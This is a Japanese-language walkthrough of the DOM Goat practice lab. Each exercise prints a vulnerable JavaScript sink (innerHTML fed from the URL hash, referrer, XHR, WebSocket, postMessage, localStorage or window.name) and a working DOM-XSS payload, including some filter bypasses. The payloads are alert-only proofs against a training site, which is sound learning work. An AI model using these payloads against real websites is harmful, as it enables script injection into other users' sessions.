---
# System prepended metadata

title: DoM Goat Writeup
tags: [writeup]

---

# DOM Goat Writeup

[toc]

## Exercise-1

`vuln code`
```js
let hash = location.hash;
if (hash.length > 1) {
    let hashValueToUse = unescape(hash.substr(1));
    let msg = "Welcome <b>" + hashValueToUse + "</b>!!";
    document.getElementById("msgboard").innerHTML = msg;
}
```

`location.hash`で、`#`から値を取得し、hashのレングスが1より大きいなら、16進数エスケープシーケンスを文字列に置換後、`Welcome <b></b>`の中に入れる。

つまり、

```html
<img src="" onerror=alert(1)>
```

で良し。

`innerHTML`なので、`script`タグは入れてもうまく行かない。はず。

## Exercise-2

`vuln code`
```js
let rfr = document.referrer;
let paramValue = unescape(getPayloadParamValueFromUrl(rfr));
if (paramValue.length > 0) {
    let msg = "Welcome <b>" + paramValue + "</b>!!";
    document.getElementById("msgboard").innerHTML = msg;
} else {
    document.getElementById("msgboard").innerHTML = "Parameter named <b>payload</b> was not found in the referrer.";
}
```

```text
https://domgo.at/cxss/example/1?payload=%3Cimg%20src=x%20onerror=alert(1)%3E&sp=x#12345
```

上記にアクセスして、`Excercise-2`にアクエスするだけ。

## Exercise-3

`vuln code`
```js
let responseBody = xhr.responseText;
let responeBodyObject = JSON.parse(responseBody);
let msg = "Welcome <b>" + responeBodyObject.payload + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
```

![image](https://hackmd.io/_uploads/r1NHN2BOa.png)

`Enter Payload`に入力したPayloadが、XHRによって処理されます

```js
let processPayload = function () {

    let payload = document.getElementById('payloadbox').value;

    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function () {
        if (this.readyState === 4 && this.status === 200) {
            if (debuggerEnabled) {
                debugger;
            }
            let responseBody = xhr.responseText;
            let responeBodyObject = JSON.parse(responseBody);
            let msg = "Welcome <b>" + responeBodyObject.payload + "</b>!!";
            document.getElementById("msgboard").innerHTML = msg;

            //Data flow info
            document.getElementById("srcvalue").textContent = responeBodyObject.payload;
            document.getElementById("valuetosink").textContent = msg;
            document.getElementById("fullMsg").textContent = JSON.stringify(responeBodyObject, null, "\t");
        }
    };
    xhr.open("GET", '/data.json?payload=' + escape(payload), true);
    xhr.send();
};
```

`solver`
```html
<img src=x onerror=alert(1)>
```

## Exercise-4

`vuln code`
```js
let ws = new WebSocket(webSocketUrl);
ws.onmessage = function (evt) {
    
    let rawMsg = evt.data;
    let msgJson = JSON.parse(rawMsg);
    let msg = "Welcome <b>" + msgJson.payload + "</b>!!";
    document.getElementById("msgboard").innerHTML = msg;
};
```

Enter Payloadの横のinput欄に入れた値が、`Welcome value!!!`として表示されるのでやるだけです

`payload`
```html
<img src=x onerror=alert(1)>
```

## Exercise-5

`vuln code`
```javascript
   window.onmessage = function (evt) {
        (redacted...)
        try {
            let msgObj = evt.data;
            let msg = "Welcome <b>" + msgObj.payload + "</b>!!";
            document.getElementById("msgboard").innerHTML = msg;
            (redacted...)

        } catch (e) {
            console.log(e);
        }
    };
```

![image](https://hackmd.io/_uploads/SJH_VhHO6.png)

Enter Payloadに打ち込んだ値がそのまま`innerHTML`で使われるためアウトになってしまったやつ。

```html
<img src=x onerror=alert(document.domain)>
```

## Exercise-6

```js
let payloadValue = localStorage.getItem("payload");
let msg = "Welcome <b>" + payloadValue + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
```

```html
<img src=x onerror=alert(1)>
```

##  Exercise-7

```html
let hash = location.hash;
let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash;
hashValueToUse = hashValueToUse.replace(/</g, "&lt;").replace(/>/g, "&gt;");
let msg = "<a href='#user=" + hashValueToUse + "'>Welcome</a>!!";
document.getElementById("msgboard").innerHTML = msg;
```

`<`, `>`が変換され, `a`Tag内に入っていくっぽい。

```html
"><img src=x onerror=alert(document.domain)><"
```

このPayloadで一発ではあるものの、置き換えが地味に腹が立つ。

```html
' onclick=alert(document.domain) x='
```

まぁこのような感じでぶっこめばOKなはず。(ユーザインタラクションが必要なのがムカつくが。)

## Exercise-8

```js
    let hash = location.hash;
    let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash;

    if (hashValueToUse.indexOf("=") > -1 ) {
        hashValueToUse = hashValueToUse.substr(hashValueToUse.indexOf("=")+1);
        hashValueToUse = hashValueToUse.replace(/</g, "&lt;").replace(/>/g, "&gt;");
        let msg = "<a href='#user=" + hashValueToUse + "'>Welcome</a>!!";
        document.getElementById("msgboard").innerHTML = msg;

        //Data flow info
        document.getElementById("srcvalue").textContent = hash;
        document.getElementById("valuetosink").textContent = msg;
    }
```

`=`を先頭に含め、`<`,`>`がエスケープされることに注意すればおけ。という問題。

つまり前回つかった, `onerror=alert(1)`は使えない。

```html
=' onclick\x3dalert(1) x\x3d'
```
![image](https://hackmd.io/_uploads/H1mpV3SOT.png)

![image](https://hackmd.io/_uploads/SyTaE3HO6.png)

## Exercise 9 

```javascript=
  let hash = location.hash;
    if (hash.length > 1) {
        let hashValueToUse = unescape(hash.substr(1));
        let msg = "Welcome <b>" + hashValueToUse + "</b>!!";
        document.getElementById("msgboard").innerHTML = msg;
    }
```

`#`から値を取得し`Welcome`に続けるので、

`#<img src=x onerror=alert(1)>`で終わり。

![image](https://hackmd.io/_uploads/Bkyt7uUuT.png)


## Exercise 10

```javascript
let urlParts = location.href.split("?");
    if (urlParts.length > 1) {
        
        let queryString = urlParts[1];
        let queryParts = queryString.split("&");
        let userId = "";
        for (let i = 0; i < queryParts.length; i++) {
            
            let keyVal = queryParts[i].split("=");
            if (keyVal.length > 1) {
                if (keyVal[0] === "user") {
                    
                    userId = keyVal[1];
                    break;
                }
            }
        }
        if (userId.startsWith("ID-")) {

            userId = userId.substr(3, 10);
            userId = userId.replace(/"/g, "&quot;");
            let windowValueToUse = window.name.replace(/"/g, "&quot;");
            let msg = "<a href=\"" + userId + windowValueToUse + "\">Welcome</a>!!";
            document.getElementById("msgboard").innerHTML = msg;
        }
    }
```

少し長い

`queryString`には、`lang=en&user=ID-1234&returnurl=/`が入り、
`queryParts`には、`['lang=en', 'user=ID-1234', 'returnurl=/']`がはいる。

ループ部分は、userIdを取得するためのもの。

その後、userIdが`ID-`で始まっていればuserIdの`3 ~ 10`文字を取得し`"`を`&quote`におきかえ、`userId`に格納する。

XSSが起きない設計ではないためこれはやるだけ。

`user` Parameterが狙い目であるが、文字数制限がかなり邪魔。

`javascript:alert(1)`を決めたいが決めれない。

となると`window.name`を狙いたくなる。

window.nameについて調べてみると`window.open`で名前を指定できるっぽい。

`https://example.com`を利用して、以下をdevtoolのconsoleに貼り付ける。

```javscript
window.open("https://domgo.at/cxss/example/10?lang=en&user=ID-javascript&returnurl=/", ":alert(document.domain)");
```

貼り付けると、Dom Goatの対象ページが開かれ、`Welcome`を押すと発火する。

![image](https://hackmd.io/_uploads/r1lcDuIOT.png)
